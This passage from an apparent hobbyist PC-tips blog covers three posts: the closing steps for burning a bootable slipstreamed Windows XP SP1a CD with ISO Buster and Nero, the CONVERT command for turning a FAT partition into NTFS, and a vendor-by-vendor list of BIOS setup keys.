and Nero Burning.

Start to extract the boot loader from the original Windows XP CD. Using ISO Buster, select the "folder" Bootable CD, and right-click Microsoft Corporation.img. From the menu choose Extract Microsoft Corporation.img, and extract it to the folder on your hard drive where you have your Windows XP files (D:\XP-CD in my case).

Next, start Nero Burning ROM, and choose CD-ROM (Boot) in the New Compilation window. On the Boot tab, select Image file under Source of boot image data, and browse to the location of the Microsoft Corporation.img file. Also enable Expert Settings, choosing No Emulation, and changing the Number of loaded sectors to 4 (otherwise it won't boot!)


If you have an older version of Nero you won't have the option Do Not Add ";1" ISO file version extention under Relax ISO Restrictions. You won't be able to boot your new CD, so update Nero!
You can configure the Label tab to your liking, I would however recommend that you keep the Volume Label the same as on your original Windows XP CD.

Next press New, and drag & drop the files and folders from your Windows XP hard drive location into Nero.

Next, burn your new CD.

You now have a Bootable, Slipstreamed Windows XP Service Pack 1a CD!

10:43 AM by Shubham Mittal · 0

Convert A fat Filesystem Into NTFS Filesystem- Learn Latest Computer And Mobile Hacking Tricks



To convert a FAT partition to NTFS, perform the following steps.

1) Open 'Command Prompt'.

2) At the command prompt, type the following-

CONVERT [driveletter]: /FS:NTFS.

'Convert.exe' will attempt to convert the partition to NTFS.

6:04 AM by Shubham Mittal · 0

List of Bios Control Shortcut Keys For All Vendors - Learn Latest Compter And Mobile Hakcing Tricks



Acer
F1, F2, CTRL+ALT+ESC

(ALR) Advanced Logic Research Inc.
F2, CTRL+ALT+ESC

(AMD) Advanced Micro Devices BIOS
F1

(AMI) American Megatrends Inc. BIOS
DEL

AST
CTRL+ALT+ESC, CTRL+ALT+DEL

Award BIOS
DEL, CTRL+ALT+ESC

Compaq
F10

CompUSA
DEL

Cybermax
ESC

DELL
F10, F3, F1, F2, DEL, Fn+F1

(DTK) Datatech Enterprises BIOS
ESC

eMachine
DEL

Gateway
F1, F2

(HP) Hewlett-Packard
F1, F2

(IBM) International Business Machines
F1, CTRL+ALT+INS, CTRL+ALT+DEL

Intel
DEL

Micron
F1, F2, DEL

Packard Bell

F1, F2, DEL

Phoenix BIOS
CTRL+ALT+ESC, CTRL+ALT+INS, CTRL+ALT+S

Sony
F2, F3

Tiger
DEL

Toshiba
ESC, F1

11:35 PM by Shubham Mittal · 2